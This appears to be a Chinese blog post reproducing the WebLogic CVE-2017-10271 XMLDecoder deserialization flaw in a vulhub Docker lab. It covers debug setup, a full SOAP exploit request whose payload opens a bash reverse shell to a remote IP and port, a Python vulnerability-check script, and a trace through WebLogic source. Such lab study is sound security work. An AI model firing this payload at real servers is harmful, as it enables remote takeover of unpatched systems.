Weblogic Rce CVE-2017-10271复现
2022-01-27 15:49:00

Weblogic Rce CVE-2017-10271复现

一、环境搭建

使用vulhub来搭建,进入/weblogic/CVE-2017-10271文件夹,修改其中的docker-compose.yml文件,将8453端口打开

1643269987127.png

使用docker-compose命令docker-compose up -d编译镜像并启动容器

1643270073203.png

使用docker exec -it b3 /bin/bash命令进入容器内,自带的vi用得很不习惯,所以进去使用apt-get install nano命令安装一下nano

然后使用nano修改/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh 在如下位置添加两行代码

1
2
ebugFlag="true"
export debugFlag

1643270390303.png

然后docker stop停止容器,之后再docker start启动,然后再进入容器,将/root/Oracle/Middleware文件夹下的modules文件夹和wlserver_10.3文件夹使用zip命令压缩成zip压缩包。没有zip命令的话可以使用apt-get install zip来安装zip压缩功能

1
2
zip -r modules.zip modules
zip -r wlserver_10.3.zip wlserver_10.3

1643270749630.png

然后使用docker的cp命令,分别将modules.zip和wlserver_10.3.zip复制到本机的当前路径的CVE-2017-10271文件夹中(自己创建)并解压

1
2
docker cp b3:/root/Oracle/Middleware/modules.zip .\CVE-2017-10271\
docker cp b3:/root/Oracle/Middleware/wlserver_10.3.zip .\CVE-2017-10271\

用IEDA打开这个CVE-2017-10271文件夹,选中w1server_10.3/server/lib文件和modules文件并点击右键,点击Add as Library添加依赖文件

1643270962302.png

然后再单击右上角的Add Configurations按钮,然后点击+号,选择Remote选项,随后如图填写

1643271100097.png

wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/WLSServletAdapter.class的hadle方法处设置断点,随后运行Debug模式。

1643271231725.png

然后使用浏览器访问http://127.0.0.1:7001/wls-wsat/CoordinatorPortType

1643271302040.png

出现如图所示则表示远程调试配置成功,此时就可以像调试本地程序一样调试Docker中的Weblogic应用了

二、漏洞复现

浏览器访问http://192.168.1.3:7001/wls-wsat/CoordinatorPortType,显示如下页面即可能存在漏洞

1643271432650.png

反弹shell的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.1.3:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
Content-Length: 641

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.172.148/4444 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

1643273295389.png

1643273319517.png

漏洞验证脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python
# coding:utf-8

import requests
from sys import argv

headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Upgrade-Insecure-Requests': '1',
'Content-Type': 'text/xml'
}
def Webogic_XMLDecoder_poc(url):
#url="http://192.168.202.129:7001"
posturl=url+'/wls-wsat/CoordinatorPortType'
data = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
<string>xmldecoder_vul_test</string></void><void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''

print url
try:
r=requests.post(posturl,data=data,headers=headers,timeout=5)
geturl=url+"/wls-wsat/test.txt"
#print geturl
check_result = requests.get(geturl,headers=headers,timeout=5)
if 'xmldecoder_vul_test' in check_result.text:
print u"存在WebLogic WLS远程执行漏洞(CVE-2017-10271)"
except:
pass

if __name__ == '__main__':
if len(argv) == 1:
print "Please input python Webogic_XMLDecoder_poc.py http://xxxx:7001"
exit(0)
else:
url = argv[1]
Webogic_XMLDecoder_poc(url)

三、漏洞分析

CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞,主要由wls-wsat.war触发该漏洞,触发漏洞url如下: http://192.168.1.3:7001/wls-wsat/CoordinatorPortTypepost数据包,通过构造构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。

weblogic/wsee/jaxws/workcontext/WorkContextServerTube类中的processRequest方法中,处理POST数据包中的XML数据

1643274426167.png

其中var1是传入的XML数据,到readHederOld方法中,处理POST数据包中处理XML数据。

我们跟进readHederOld方法

1643276522042.png

前面获取到了POST数据包中的XML数据,这里使用ByteArrayOutputStream将XML数据转换成字节流赋值给var4。然后调用WorkContextXmlInputAdapter类传入了var4。跟进到WorkContextXmlInputAdapter

1643277029166.png

其实这里就是把var4传入到了XMLDecoder中。回到readHeaderOld方法,前面都是对XML数据的一个封装,得到了XMLDecoder对象,之后调用了113行的receive方法

1643277184576.png

跟进到receive方法

1643277353090.png

跟进到WorkContextMapInterceptor类的receiveRequest

1643279394639.png

继续跟进到了WorkContextLocalMap类中的receiveRequest方法

1643279255024.png

165行调用了WorkContextEntryImplreadEntry方法,跟进到WorkContextEntryImpl#readEntry

1643279598424.png

最后跟进到WorkContextXmlInputAdapter#readUTF

1643279995889.png

在这里进行了xmlDecoder.readObject,触发了xmlDecoder的反序列化,执行了XML数据中的ProcessBuilder.start()

1643280379095.png

上一页
2022-01-27 15:49:00
下一页